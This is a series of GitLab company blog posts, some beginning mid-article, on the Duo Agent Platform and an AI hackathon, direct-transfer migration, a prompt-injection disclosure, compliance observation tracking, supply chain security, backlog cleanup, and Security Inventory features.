The AI in Action Hackathon underscored the potency of strategic partnerships in driving innovation. Google Cloud served as a foundational pillar, providing its advanced AI tools, machine learning capabilities, and extensive cloud computing resources as the bedrock for all hackathon projects. MongoDB offered the indispensable intelligent data layer, and GitLab provided the DevSecOps platform essential for building, securing, and deploying these sophisticated AI-enabled applications. Participants were granted access to these powerful tools through free trials or credits, reducing the barriers for experimentation.

The collaborative synergy among these partners was unmistakable in the multipartner structure of the hackathon. This environment allowed participants to explore a wide array of technologies and integration possibilities, enabling them to create innovative projects that addressed real-world problems.

Getting to know GitLab's Duo Agent Platform

GitLab is reimagining software development, charting a future where humans and AI collaborate seamlessly. GitLab Duo Agent Platform allows users to build, customize, and connect AI agents to match their workflow. Developers are empowered to focus on strategic, creative challenges, as AI agents adeptly manage routine tasks such as providing project status updates, bug fixes, and code reviews concurrently.

Duo Agent Platform is now in public beta for GitLab Premium and Ultimate customers on GitLab.com and self-managed environments.

AI agents on the platform leverage comprehensive context from your GitLab projects, code, and requirements. They can also interoperate with other applications or data sources for expanded context and actionable assistance. The platform delivers extensible, customizable agentic AI: Users can create and customize agents and agentic flows that understand their specific work processes and organizational needs. Custom rules can be defined in natural language, ensuring agents perform precisely as configured. A catalog for custom skills, agents, and flows is also planned for future release.

Duo Agent Platform is seamlessly integrated into your workflow, available in your IDE (Integrated Development Environment) or GitLab’s web UI. It currently supports VS Code and the JetBrains family of IDEs, with Visual Studio support planned. This ability to set custom rules for agents, such as specific formatting for code or adherence to language versions, is poised to accelerate reviews and enable swifter deployment of consistent, secure code.

To get started, GitLab.com customers need to activate GitLab Duo beta features for their group, while self-managed customers need to enable these features for their GitLab Self-Managed instance. For those who are not yet GitLab customers, a GitLab Ultimate trial, including Duo Agent Platform, is available at no cost.

Join the AI revolution: What's next for developers

The AI in Action Hackathon vividly showcased the transformative potential of artificial intelligence when applied to real-world software development challenges. For developers inspired by these breakthroughs, the journey into AI-powered DevSecOps has just started. Users are encouraged to explore and harness the power of GitLab Duo, which is engineered to substantially elevate productivity, enhance operational efficiency, and reduce security risks across the software development lifecycle. GitLab Duo offers a suite of integrated features, including intelligent Code Suggestions, an interactive Chat agent, AI-assisted Root Cause Analysis for CI/CD failures, and clear explanations for security vulnerabilities — all directly accessible within the platform.

Beyond utilizing these powerful tools, developers are invited to contribute actively to the vibrant GitLab community. This hackathon is an integral part of GitLab's broader community engagement initiative, which encourages contributions to GitLab's open source community. By contributing, developers can directly shape the platform that millions use to deliver software faster and more securely. As a testament to GitLab's commitment to its community, contributors benefit from the very AI-powered tools, such as GitLab Duo, that they help build. Furthermore, GitLab recognizes and rewards community contributions through various programs, including the monthly Notable Contributor initiative and special recognition for Hackathon winners.

The AI in Action Hackathon showcased how a robust trust infrastructure, combined with emerging AI use cases, is forging a path toward a more trustworthy and efficient digital future. GitLab is dedicated to accelerating the monthly delivery of potent new AI features, with a clear strategic trajectory toward becoming a premier agent orchestration platform. GitLab is poised to empower users to craft, tailor, and disseminate complex agent flows, enabling highly automated and intelligent workflows. The landscape of software development is rapidly transforming, becoming progressively autonomous, adaptive, and AI-driven.

I can’t wait to see what you will build next with GitLab!

Using direct transfer enables you to easily create a copy of chosen GitLab resources on the same or another GitLab instance. You can use either the UI or API. The UI is intuitive and straightforward, while the API gives you additional flexibility in terms of choosing resources to be copied.

Migrating by direct transfer is a major improvement from migrating groups and projects using file exports because of the following:

• You don't need to manually export each individual group and project to a file and then import all those export files to a new location. Now, you can directly migrate any top-level group you have the Owner role for with all its sub-groups and projects.
• It allows for post-import user contribution mapping (such as issue or comment authorship), which gives you greater flexibility and control.
• It works reliably with large projects. Thanks to resource batching and concurrent execution of import and export processes the chance of interruption or timeout is significantly lowered.
• It offers better insights into the migration while it runs as well as after it completes. In the UI you can observe as the numbers grow as more items are imported. Then you can review the results. You can see that an item was imported thanks to an Imported badge on items in the GitLab UI.

We’ve come a long way since GitLab 14.3 when we started supporting the direct migration of the group resources. In GitLab 15.8, we extended this functionality to projects as a beta. Since then, we have worked to improve the efficiency and reliability of importing, especially for large projects. We thoroughly reviewed the feature from a security and instance stability standpoint.

To give an example of the sizes of the groups and projects we've tested with, and their import duration, we've seen successful imports of:

• 100 projects (19.9k issues, 83k merge requests, 100k+ pipelines) that migrated in 8 hours
• 1,926 projects (22k issues, 160k merge requests, 1.1 million pipelines) that migrated in 34 hours

On GitLab.com, migrating by direct transfer is enabled by default. On GitLab Self-Managed and on GitLab Dedicated, an administrator must enable the feature in application settings.

When to use migrating by direct transfer and how to get the best results

Migrating by direct transfer requires network connection between instances or GitLab.com. Therefore, customers that use air-gapped networks with no connectivity between their GitLab instances still have to use file exports to copy their GitLab data. They will be able to use migrating groups and projects by direct transfer after we extend this solution to also support offline instances.

Before you attempt a migration, review documentation, including prerequisites, group items, and project items that are migrated. Some items are excluded from migration or not yet supported.

Migrate between most recent possible versions

We recommend migrating between versions that are as recent as possible. Update the source and destination instances to take advantage of all improvements and bug fixes we’ve added over time.

Prepare for user contribution mapping post migration

Familiarize yourself with user contribution and membership mapping process so you know what to expect after migration completes and what are the next steps for you to take.

Review options to reduce migration duration

Depending on where you’re migrating to, GitLab.com, a self-managed instance, or Dedicated, you can employ various strategies to reduce the migration duration.

How can I review the results?

You can view all groups and projects migrated by you by direct transfer listed on the group import history page. For each group and project, you can view statistics for imported items and dig down into details in case some items were not imported. Alternatively, you can use API endpoints to do the same.

In cases where most of your projects completed successfully but one or two end up missing some relations, like merge requests or issues, we recommend that you try re-importing those projects by using the API.

What’s next for migrating by direct transfer?

We are excited to bring migration by direct transfer to general availability and hope you are too! We want to hear from you. What's the most important missing piece for you? What else can we improve? Let us know in the migration by direct transfer feedback issue and we'll keep iterating!

The AI security challenge

AI-powered platforms create incredible productivity for engineers. However, the ability to create code also brings a crucial need for robust security. For example, prompt injection attacks embed hidden instructions in comments, source code, and merge request descriptions. These can guide AI into making attacker-controlled recommendations to the user or, in some cases, autonomously taking unintended action. Addressing these risks helps ensure the responsible and secure evolution of AI in development.

GitLab’s security and engineering teams work diligently to provide customers with a safe and secure platform. Partnerships with external security researchers, such as Persistent Security, are an integral part of that approach.

Our commitment to transparent collaboration

GitLab's AI Transparency Center details how we uphold ethics and transparency in our development and use of AI-powered features. This commitment extends to our collaboration with security researchers.

When Persistent Security reached out to GitLab to discuss a complex prompt injection issue with industry-wide impact, they were quickly connected to the GitLab Product Security Response Team to investigate if any of our products were affected.

Through this dialogue, we were able to quickly identify and implement mitigations that were deployed prior to the public beta of GitLab Duo Agent Platform in July 2025. This rapid response exemplifies our approach to working with security researchers and collaborating transparently throughout the process to coordinate remediation and disclosure to protect customers.

Why external research matters for AI security

AI systems present unique security challenges that require diverse perspectives and specialized expertise.

External researchers are essential for:

• Rapid Threat Evolution: AI security threats evolve quickly. The research community helps us stay ahead of emerging attack patterns, from prompt injection techniques to novel ways of manipulating AI responses.
• Real-World Testing: External researchers test our systems in ways that mirror actual attacker behavior, providing invaluable insights into how our defenses perform under pressure.
• Diverse Expertise: External security researchers often demonstrate exceptional creativity, with reports standing out for innovative approaches to identifying complex vulnerabilities. This diversity of thinking strengthens our overall security posture.

Our ongoing commitment

The security research community remains a crucial partner in our mission to protect customers. We're committed to:

• Providing clear guidance to researchers about our AI systems and security boundaries
• Maintaining rapid response times for security disclosures
• Sharing our learnings with the broader community through public disclosure and research

The future of AI security depends on collaboration between organizations like GitLab and the security research community. By working together, we can ensure that AI remains a force for productivity and innovation while protecting our customers and users from harm.

To our security research partners: thank you for your partnership, making us stronger, more secure, and better prepared for the challenges ahead. I’ll be at Black Hat August 6-7, 2025, and look forward to connecting with AI security researchers there. You can reach me through the Black Hat mobile app or on LinkedIn.

Do you want to play a role in keeping GitLab secure? Visit our HackerOne program to get started, or learn more about our AI security practices at our AI Transparency Center.

These observations emerge from our quarterly control monitoring process, where we systematically assess the effectiveness of security controls supporting our certifications (SOC 2, ISO 27001, etc.). Observations can also be the output of our external audits from third-party assessors. Observations aren't just compliance checkboxes, they represent real security risks that need prompt, visible remediation.

Observation management is the process by which we manage these observations from identification through remediation to closure. In this article, you'll learn how the GitLab Security Team uses the DevSecOps platform to manage and remediate observations, and the efficiencies we've realized from doing so.

The GitLab observation lifecycle: From identification to resolution

The lifecycle of an observation encompasses the entire process from initial identification by compliance engineers through to completed remediation by remediation owners. This lifecycle enables real-time transparent status reporting and that is easier for all stakeholders to understand and follow.

Here are the stages of the observation lifecycle:

1. Identification

• Compliance engineers identify potential observations during quarterly monitoring.
• Initial validation occurs to confirm the finding represents a genuine control gap.
• Detailed documentation begins immediately in a GitLab issue.
• The root cause of the observation is determined and a remediation plan to address the root cause is established.

2. Validation

• Issue is assigned to the appropriate remediation owner (usually a team lead or department manager).
• Remediation owner reviews and confirms they understand and accept ownership.
• The remediation plan is reviewed, prioritized, and updated collaboratively as needed.

3. In-progress

• Active remediation work begins with clear milestones and deadlines.
• Regular updates are provided through GitLab comments and status changes.
• Collaboration happens transparently where all stakeholders can see progress.

4. Remediated

• Remediation owner marks work complete and provides evidence.
• Issue transitions to compliance review for validation.

5. Resolution

• Compliance engineer verifies exit criteria are met.
• The issue is closed with final documentation.
• Lessons learned are captured for future prevention.

Alternative paths handle blocked work, risk acceptance decisions, and stalled remediation efforts with appropriate escalation workflows. <center><i>Example of observation lifecycle</i></center>

The power of transparency in GitLab

Effective observation management shouldn't require detective work to determine basic information like ownership, status, or priority. Yet most organizations find themselves exactly in this scenario: compliance teams chasing updates, operational teams unaware of their responsibilities, and leadership lacking visibility into real risk exposure until audit season arrives.

The Security Compliance team at GitLab faced these exact problems. Our team initially used a dedicated GRC tool as the single source of truth for outstanding observations, but the lack of visibility to key stakeholders meant minimal remediation actually occurred. The team found themselves spending their time on administrative work, rather than guiding remediation efforts.

Our solution was to move observation management directly into GitLab issues within a dedicated project. This approach transforms observations from compliance issues into visible, actionable work items that integrate naturally into development and operations workflows. Every stakeholder can see what needs attention, collaborate on remediation plans, and track progress in real time, creating the transparency and accountability that traditional tools simply can't deliver.

Smart organization through labels and issue boards

GitLab allows teams to categorize observation issues into multiple organizational views. The Security Compliance team uses the following to categorize observations:

• Workflow: ~workflow::identified, ~workflow::validated, ~workflow::in progress, ~workflow::remediated
• Department: ~dept::engineering, ~dept::security, ~dept::product
• Risk Severity: ~risk::critical, ~risk::high, ~risk::medium, ~risk::low
• System: ~system::gitlab, ~system::gcp, ~system::hr-systems
• Program: ~program::soc2, ~program::iso, ~program::fedramp , ~program::pci

These labels are then leveraged to create issue boards:

• Workflow boards visualize the observation lifecycle stages.
• Department boards show each team's remediation workload.
• Risk-based boards prioritize critical findings requiring immediate attention.
• System boards visualize observations by system.
• Program boards track certification-specific observation resolution.

Labels enable powerful filtering and reporting while supporting automated workflows through our triage bot policies. Please refer to the automation section for more details on our automation strategy.

Automation: Working smarter, not harder

Managing dozens of observations across multiple certifications requires smart automation. The Security Compliance team utilizes the triage bot, which is an open source project hosted in GitLab. The triage bot gem aims to enable project managers to automatically triage issues in GitLab projects or groups based on defined policies. This helps manage issue hygiene so stakeholders can focus their efforts on remediation.

Within the observation management project, we have policies written to ensure there is an assignee on each issue, each issue has required labels, issues are updated every 30 days, and blocked and stalled issues are nudged every 90 days. In addition, a weekly summary issue is created to summarize all the issues out of compliance based on our defined policies. This enables team members to monitor issues efficiently and spend less time on administrative tasks.

Measuring success: Key metrics and reporting

GitLab's raw issue data can be leveraged into actionable intelligence. Organizations can extract meaningful insights from issue creation date, closed date, last updated date, and labels. The following metrics provide a comprehensive view of your observation management effectiveness:

Resolution Efficiency Analysis: Average time from identification to resolution by department and severity

Track issue creation versus close dates across departments and severity levels to identify bottlenecks and measure performance against SLAs. This reveals which teams excel at rapid response and which may need additional resources or process improvements.

Real-Time Risk Assessment: Current risk profile based on open critical and high risk observations

Leverage risk level labels to create dynamic visualizations of your organization's current risk exposure. This provides leadership with an immediate understanding of critical observations requiring urgent attention.

Strategic Resource Allocation: Department-level risk distribution for targeted improvement efforts

Identify which departments are responsible for remediation of the highest-risk observations to prioritize resources, oversight, and projects. This data-driven approach ensures improvement efforts focus where they'll have maximum impact.

Compliance Readiness Monitoring: Certification-specific observation counts and resolution rates

Utilize certification labels to assess audit preparedness and track progress toward compliance goals. This metric provides early warning of potential certification risks and validates remediation efforts.

Accountability Tracking: Overdue remediations

Monitor SLA compliance to ensure observations receive timely attention. This metric highlights systemic delays and enables proactive intervention before minor issues become major problems.

Engagement Health Check: Observation freshness

Track recent activity (updates within 30 days) to ensure observations remain actively managed rather than forgotten. This metric identifies stagnant issues that may require escalation or reassignment.

Advanced strategies: Taking observation management further

Here's what you can do to deepen the impact of observation management in your organization.

Integrate with security tools

Modern observation management extends beyond manual tracking by connecting with your existing security infrastructure. Organizations can configure vulnerability scanners and security monitoring tools to automatically generate observation issues, eliminating manual data entry and ensuring comprehensive coverage.

Apply predictive analytics

Historical observation data becomes a powerful forecasting tool when properly analyzed. Organizations can leverage past remediation patterns to predict future timelines and resource requirements, enabling more accurate project planning and budget allocation. Pattern recognition in observation types reveals systemic vulnerabilities that warrant preventive controls, shifting focus from reactive to proactive risk management. Advanced implementations incorporate multiple data sources into sophisticated risk scoring algorithms that provide nuanced threat assessments and priority rankings.

Customize for stakeholders

Effective observation management recognizes that different roles require different perspectives on the same data. Role-based dashboards deliver tailored views for executives seeking high-level risk summaries, department managers tracking team performance, and individual contributors managing their assigned observations. Automated reporting systems can be configured to match various audience needs and communication preferences, from detailed technical reports to executive briefings. Self-service analytics capabilities empower stakeholders to conduct ad-hoc analysis and generate custom insights without requiring technical expertise or support.

Move from mere compliance to operational excellence

GitLab's approach to observation management represents more than a tool change, it's a fundamental shift from reactive compliance to proactive risk mitigation. By breaking down silos between compliance teams and operational stakeholders, organizations achieve unprecedented visibility while dramatically improving remediation outcomes.

The results are measurable: faster resolution through transparent accountability, active stakeholder collaboration instead of reluctant participation, and continuous audit readiness rather than periodic scrambles. Automated workflows free compliance professionals for strategic work while rich data enables predictive analytics that shift focus from reactive firefighting to proactive prevention.

Most importantly, this approach elevates compliance from burden to strategic enabler. When observations become visible, trackable work items integrated into operational workflows, organizations develop stronger security culture and lasting improvements that extend beyond any single audit cycle. The outcome isn't just regulatory compliance. It's organizational resilience and competitive advantage through superior risk management.

Want to learn more about GitLab's security compliance practices? Check out our Security Compliance Handbook for additional insights and implementation guidance.

Supply chain security isn't just about scanning dependencies. It encompasses the entire journey from code creation to production deployment, including:

• Source security: protect code repositories, managing contributor access, ensuring code integrity
• Build security: secure build environments, preventing tampering during compilation and packaging
• Artifact security: ensure the integrity of containers, packages, and deployment artifacts
• Deployment security: secure the delivery mechanisms and runtime environments
• Tool security: harden the development tools and platforms themselves

The "chain" in supply chain security refers to this interconnected series of steps. A weakness anywhere in the chain can compromise the entire software delivery process.

The 2020 SolarWinds attack illustrates this perfectly. In what became one of the largest supply chain attacks in history, state-sponsored attackers compromised the build pipeline of SolarWinds' Orion network management software. Rather than exploiting a vulnerable dependency or hacking the final application, they injected malicious code during the compilation process itself.

The result was devastating: More than 18,000 organizations, including multiple U.S. government agencies, unknowingly installed backdoored software through normal software updates. The source code was clean, the final application appeared legitimate, but the build process had been weaponized. This attack remained undetected for months, demonstrating how supply chain vulnerabilities can bypass traditional security measures.

Common misconceptions that leave organizations vulnerable

Despite growing awareness of supply chain threats, many organizations remain exposed because they operate under fundamental misunderstandings about what software supply chain security actually entails. These misconceptions create dangerous blind spots:

• Thinking software supply chain security equals dependency scanning
• Focusing only on open source components while ignoring proprietary code risks
• Believing that code signing alone provides sufficient protection
• Assuming that secure coding practices eliminate supply chain risks
• Treating it as a security team problem rather than a development workflow challenge

How AI is changing the game

Just as organizations are grappling with traditional software supply chain security challenges, artificial intelligence (AI) is introducing entirely new attack vectors and amplifying existing ones in unprecedented ways.

AI-powered attacks: More sophisticated, more scalable

Attackers are using AI to automate vulnerability discovery, generate convincing social engineering attacks targeting developers, and systematically analyze public codebases for weaknesses. What once required manual effort can now be done at scale — with precision.

The AI development supply chain introduces new risks

AI is reshaping the entire development lifecycle, but it's also introducing significant security blind spots:

• Model supply chain attacks: Pre-trained models from sources like Hugging Face or GitHub may contain backdoors or poisoned training data.
• Insecure AI-generated code: Developers using AI coding assistants may unknowingly introduce vulnerable patterns or unsafe dependencies.
• Compromised AI toolchains: The infrastructure used to train, deploy, and manage AI models creates a new attack surface.
• Automated reconnaissance: AI enables attackers to scan entire ecosystems to identify high-impact supply chain targets.
• Shadow AI and unsanctioned tools: Developers may integrate external AI tools that haven't been vetted.

The result? AI doesn't just introduce new vulnerabilities, it amplifies the scale and impact of existing ones. Organizations can no longer rely on incremental improvements. The threat landscape is evolving faster than current security practices can adapt.

Why most organizations still struggle

Even organizations that understand supply chain security often fail to act effectively. The statistics reveal a troubling pattern of awareness without corresponding behavior change.

When Colonial Pipeline paid hackers $4.4 million in 2021 to restore operations, or when 18,000 organizations fell victim to the SolarWinds attack, the message was clear: Supply chain vulnerabilities can bring down critical infrastructure and compromise sensitive data at unprecedented scale.

Yet, despite this awareness, most organizations continue with business as usual. The real question isn't whether organizations care about supply chain security — it's why caring alone isn't translating into effective protection.

The answer lies in four critical barriers that prevent effective action:

1. The false economy mindset

Organizations sometimes focus on the cost instead of "what's the most effective approach?" This cost-first thinking creates expensive downstream problems.

2. Skills shortage reality

With organizations averaging 4 security professionals per 100 developers, according to BSIMM research, and 90% of organizations reporting critical cybersecurity skills gaps, according to ISC2, traditional approaches are mathematically impossible to scale.

3. Misaligned organizational incentives

Developer OKRs focus on feature velocity while security teams measure different outcomes. When C-suite priorities emphasize speed-to-market over security posture, friction becomes inevitable.

4. Tool complexity overload

The average enterprise uses 45 cybersecurity tools, with 40% of security alerts being false positives and must coordinate across 19 tools on average for each incident.

These barriers create a vicious cycle: Organizations recognize the threat, invest in security solutions, but implement them in ways that don't drive the desired outcomes.

The true price of supply chain insecurity

Supply chain attacks create risk and expenses that extend far beyond initial remediation. Understanding these hidden multipliers helps explain why prevention is not just preferable – it's essential for business continuity.

Time becomes the enemy

• Average time to identify and contain a supply chain breach: 277 days
• Customer trust rebuilding period: 2-3+ years
• Engineering hours diverted from product development to security remediation

Reputation damage compounds

When attackers compromise your supply chain, they don't just steal data – they undermine the foundation of customer trust. Customer churn rates typically increase 33% post-breach, while partner relationships require costly re-certification processes. Competitive positioning suffers as prospects choose alternatives perceived as "safer."

Regulatory reality bites

The regulatory landscape has fundamentally shifted. GDPR fines now average over $50 million for significant data breaches. The EU's new Cyber Resilience Act mandates supply chain transparency. U.S. federal contractors must provide software bills of materials (SBOMs) for all software purchases — a requirement that's rapidly spreading to private sector procurement.

Operational disruption multiplies

Beyond the direct costs, supply chain attacks create operational chaos such as platform downtime during attack remediation, emergency security audits across entire technology stacks, and legal costs from customer lawsuits and regulatory investigations.

What's wrong with current approaches

Most organizations confuse security activity with security impact. They deploy scanners, generate lengthy reports, and chase teams to address through manual follow-ups. But these efforts often backfire — creating more problems than they solve.

Massive scanning vs. effective protection

Enterprises generate over 10,000 security alerts each month, with the most active generating roughly 150,000 events per day. But 63% of these are false positives or low-priority noise. Security teams become overwhelmed and turn into bottlenecks instead of enablers.

The collaboration breakdown

The most secure organizations don't have the most tools; they have the strongest DevSecOps collaboration. But most current setups make this harder by splitting workflows across incompatible tools, failing to show developers security results in their environment, and offering no shared visibility into risk and business impact.

The path forward

Understanding these challenges is the first step toward building effective supply chain security. The organizations that succeed don't just add more security tools, they fundamentally rethink how security integrates with development workflows. They also review end-to-end software delivery workflows to simplify processes, reduce tools and improve collaboration.

At GitLab, we've seen how integrated DevSecOps platforms can address these challenges by bringing security directly into the development workflow. In our next article in this series, we'll explore how leading organizations are transforming their approach to supply chain security through developer-native solutions, AI-powered automation, and platforms that make security a natural part of building great software.

Learn more about GitLab's software supply chain security capabilities.

GitLab's Product and Engineering teams recently launched the Healthy Backlog Initiative to address this backlog and refine our approach to managing contributed issues going forward.

Issues with ongoing community engagement, recent activity, or a clear strategic alignment will remain open. We'll be closing issues that are no longer relevant, lack community interest, or no longer fit our current product direction.

This focus will lead to increased innovation, better expectation setting, and faster development and delivery cycles of community-contributed capabilities.

What is the Healthy Backlog Initiative?

Over time, the GitLab community has submitted tens of thousands of issues, including bugs, feature requests, and feedback items. Currently, the main GitLab issue tracker contains over 65,000 issues, some are no longer applicable to the platform and others remain relevant today.

Our Healthy Backlog Initiative will cull the backlog and establish a workstream for our Product and Engineering teams to implement a more focused approach to backlog management. They will conduct weekly assessments of the backlog to ensure that we prioritize issues that align with our product strategy and roadmap.

Note: If you believe a closed issue does align with GitLab’s product strategy and roadmap, or if you're actively contributing to the request, we strongly encourage you to comment on the issue with updated context and current details. We are committed to reviewing these updated issues as part of our regular assessment efforts.

How does this change benefit you?

This streamlined approach means direct, tangible improvements for every GitLab user:

• Sharper focus and faster delivery: By narrowing our backlog to strategically aligned features, we can dedicate development resources more effectively. This means you can expect shorter development cycles and more meaningful improvements to your GitLab experience.

• Clearer expectations: We are committed to transparent communication about what's on our roadmap and what isn't, empowering you to make informed decisions about your workflows and contributions.

• Accelerated feedback loops: With a clean backlog, new feedback and feature requests will be reviewed and prioritized more efficiently, reducing overall triage time and ensuring timely issues receive the necessary attention. This creates a more responsive feedback loop for everyone.

This initiative does not diminish the significance of community feedback and contributions. We are taking this action to create clarity around what GitLab Team Members can realistically commit to delivering, and to ensure that all feedback receives proper consideration.

Looking forward

The GitLab Healthy Backlog Initiative reflects our commitment to being transparent and effective stewards of the GitLab platform. By clearly communicating our priorities and focusing our efforts on what we can realistically deliver over the next year, we're better positioned to meet and exceed your expectations.

Your continued participation and feedback help make GitLab stronger. Every comment, merge request, bug report, and feature suggestion contributes to our shared vision. And we’re still rewarding you for that as well, with initiatives like our monthly Notable Contributor program, Swag rewards for leveling up, Hackathon winners, and more, all available through our Contributor Portal.

To learn more about how to contribute to GitLab, visit our community site. To share feedback on this project, please add your comments on the feedback issue in this epic.

Security Inventory gives Application Security teams a centralized, portfolio-wide view of risk and scan coverage across their GitLab groups and projects, helping them identify blind spots and prioritize risk mitigation efforts. Dependency Path visualization equips developers with a clear view of how open source vulnerabilities are introduced through the dependency chain, making it easier to pinpoint the right fix.

Together, these capabilities help security and development teams build more secure applications by providing visibility into where risks exist, context to remediate them, and workflows that support collaboration. Unlike other solutions, this all happens in the same platform developers use to build, review, and deploy software, creating a developer and AppSec experience without the overhead of integrations.

Open source widens the attack surface area

Modern applications heavily rely on open source software. However, open source introduces a significant security risk — components can be outdated, unmaintained, or unknowingly expose vulnerabilities. That's why Software Composition Analysis (SCA) has become a cornerstone of modern AppSec programs.

A key challenge in vulnerability management is effectively managing transitive dependency risk. These components are often buried deep in the dependency chain, making it difficult to trace how a vulnerability was introduced or determine what needs to be updated to fix it. Worse, they account for nearly two-thirds of known open source vulnerabilities. Without clear visibility into the full dependency path, teams are left guessing, delaying remediation and increasing risk.

Transitive dependencies are packages that your application uses indirectly. They're pulled in automatically by the direct dependencies you explicitly include. These nested dependencies can introduce vulnerabilities without the developer ever knowing they're in the project.

This challenge becomes exponentially more difficult at scale. When security teams are responsible for hundreds, or even thousands, of repositories — each with their own dependencies, build pipelines, and owners — answering fundamental questions on application security risk posture becomes challenging. And in an era of growing software supply chain threats, where vulnerabilities can propagate across systems through shared libraries and CI/CD configurations, these blind spots take on even greater consequence.

Security Inventory: Visibility that scales

Security Inventory consolidates risk information across all your groups and projects into a unified view. It highlights which assets are covered by security scans and which aren't. Rather than managing issues in isolation, security teams can assess posture holistically and identify where to focus efforts.

This level of centralization is especially critical for organizations managing a large number of repositories. It allows platform and AppSec teams to understand where risk exists by highlighting unscanned or underprotected projects, but also enables them to take action directly from the interface. Teams can go beyond just awareness to enforcement with the full context and understanding of which applications pose the greatest risk. By turning fragmented insights into a single source of truth, Security Inventory enables organizations to move from reactive issue triage to strategic, data-driven security governance. Learn more by watching Security Inventory in action: <!-- blank line --> <figure class="video_container"> <iframe src="https://www.youtube.com/embed/yqo6aJLS9Fw?si=CtYmsF-PLN1UKt83" frameborder="0" allowfullscreen="true"> </iframe> </figure> <!-- blank line -->

Dependency Path visualization: Clarity for effective remediation

Security Inventory shows where the risks are at a high level; Dependency Path visualization shows how to fix them.

When a vulnerability is discovered deep in a dependency chain, identifying the correct fix can be complicated. Most security tools will highlight the affected package but stop short of explaining how it entered the codebase. Developers are left guessing which dependencies are directly introduced and which are pulled in transitively, making it difficult to determine where a change is needed, or worse, applying patches that don't address the root cause.

Our new Dependency Path visualization, sometimes referred to as a dependency graph, displays the full route from a top-level package to the vulnerable component following an SCA scan. This clarity is essential, especially given how pervasive deeply embedded vulnerabilities are in dependency chains. And since it's built into the GitLab workflow, developers gain actionable insight without context switching or guesswork. Security teams can more effectively triage issues while developers get assurance that remediations are addressing root causes.

Mitigate risk with developer-first security

These capabilities are part of GitLab's broader strategy to deliver security within the same platform where code is planned, built, and deployed. By embedding security insights into the DevSecOps workflow, GitLab reduces friction and drives collaboration between development and security teams.

Security Inventory and Dependency Path visualization provide complementary perspectives: the former enables scale-aware oversight, the latter supports precision fixes. This alignment helps teams prioritize what matters most and close gaps without adding new tools or complex integrations.

Get started with Security Inventory and Dependency Path visualization today! Sign up for a free trial of GitLab Ultimate.

Read more

• GitLab 18.2 released

• GitLab security solutions

• A field guide to threat vectors in the sofware supply chain

At GitLab, we are reimagining the future of software engineering as a human and AI collaboration. Where developers focus on solving technical, complex problems and driving innovation, while AI agents handle the routine, repetitive tasks that slow down progress. Where developers are free to explore new ideas in code at much lower cost, bug backlogs are a thing of the past, and users of the software you build enjoy a more usable, reliable, and secure experience. This isn't a distant dream. We're building this reality today, and it is called the GitLab Duo Agent Platform.

What is GitLab Duo Agent Platform?

GitLab Duo Agent Platform is our next-generation DevSecOps orchestration platform designed to unlock asynchronous collaboration between developers and AI agents. It will transform your development workflow from isolated linear processes into dynamic collaboration where specialized AI agents work alongside you and your team on every stage of the software development lifecycle; it will be like having an unlimited team of colleagues at your disposal.

Imagine delegating a complex refactoring task to a Software Developer Agent while simultaneously having a Security Analyst Agent scan for vulnerabilities and a Deep Research Agent analyze progress across your repository history. This all happens in parallel, orchestrated seamlessly within GitLab.

Today, we are announcing the launch of the first public beta of the GitLab Duo Agent Platform for GitLab.com and self-managed GitLab Premium and Ultimate customers. This is just the first in a series of updates that will improve how software gets planned, built, verified, and deployed as we amplify human ingenuity through intelligent automation.

This first beta focuses on unlocking the IDE experience through the GitLab VS Code extension and JetBrains IDEs plug-in; next month, we plan on bringing the Duo Agent Platform experience to the GitLab application and expand our IDE support. Let me share a bit more about our vision for the roadmap between now and general availability, planned for later this year. You can find details about the first beta down below.

Watch this video or read on for what's available now and what's to come. Then, if you're ready to get started with Duo Agent Platform, find out how with the public beta.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101993507?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="GitLab Agent Platform Beta Launch_071625_MP_v2"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

GitLab's unique position as an orchestration platform

GitLab sits at the heart of the development lifecycle as the system of record for engineering teams, orchestrating the entire journey from concept to production for over 50 million registered users, including half of the Fortune 500 across geographies. This includes over 10,000 paying customers across all segments and verticals, including public institutions.

This gives GitLab something no competitor can match: a comprehensive understanding of everything it takes to deliver software. We bring together your project plans, code, test runs, security scans, compliance checks, and CI/CD configurations to not only power your team but also orchestrate collaboration with AI agents you control.

As an intelligent, unified DevSecOps platform, GitLab stores all of the context about your software engineering practice in one place. We will expose this unified data to AI agents via our knowledge graph. Every agent we build has automatic access to this SDLC-connected data set, providing rich context so agents can make informed recommendations and take actions that adhere to your organizational standards.

Here's an example of this advantage in action. Have you ever tried to figure out exactly how a project is going across dozens, if not hundreds, of stories and issues being worked on across all the developers involved? Our Deep Research Agent leverages the GitLab Knowledge Graph and semantic search capabilities to traverse your epic and all related issues, and explore the related codebase and surrounding context. It quickly correlates information across your repositories, merge requests, and deployment history. This delivers critical insights that standalone tools can't match and that would take human developers hours to uncover.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101998114?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Deep Research Demo_071625_MP_v1"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

Our strategic evolution from AI features to agent orchestration

GitLab Duo started as an add-on, bringing generative AI to developers through Duo Pro and Enterprise. With GitLab 18.0, it's now built into the platform. We've unlocked Duo Agentic Chat and Code Suggestions for all Premium and Ultimate users, and now we're providing immediate access to the Duo Agent Platform.

We've ramped up engineering investment and are accelerating delivery, with powerful new AI features landing every month. But we're not just building another coding assistant. GitLab Duo is becoming an agent orchestration platform, where you can create, customize, and deploy AI agents that work alongside you and interoperate easily with other systems, dramatically increasing productivity.

“GitLab Duo Agent Platform enhances our development workflow with AI that truly understands our codebase and our organization. Having GitLab Duo AI agents embedded in our system of record for code, tests, CI/CD, and the entire software development lifecycle boosts productivity, velocity, and efficiency. The agents have become true collaborators to our teams, and their ability to understand intent, break down problems, and take action frees our developers to tackle the exciting, innovative work they love.” - Bal Kang, Engineering Platform Lead at NatWest

Agents that work out of the box

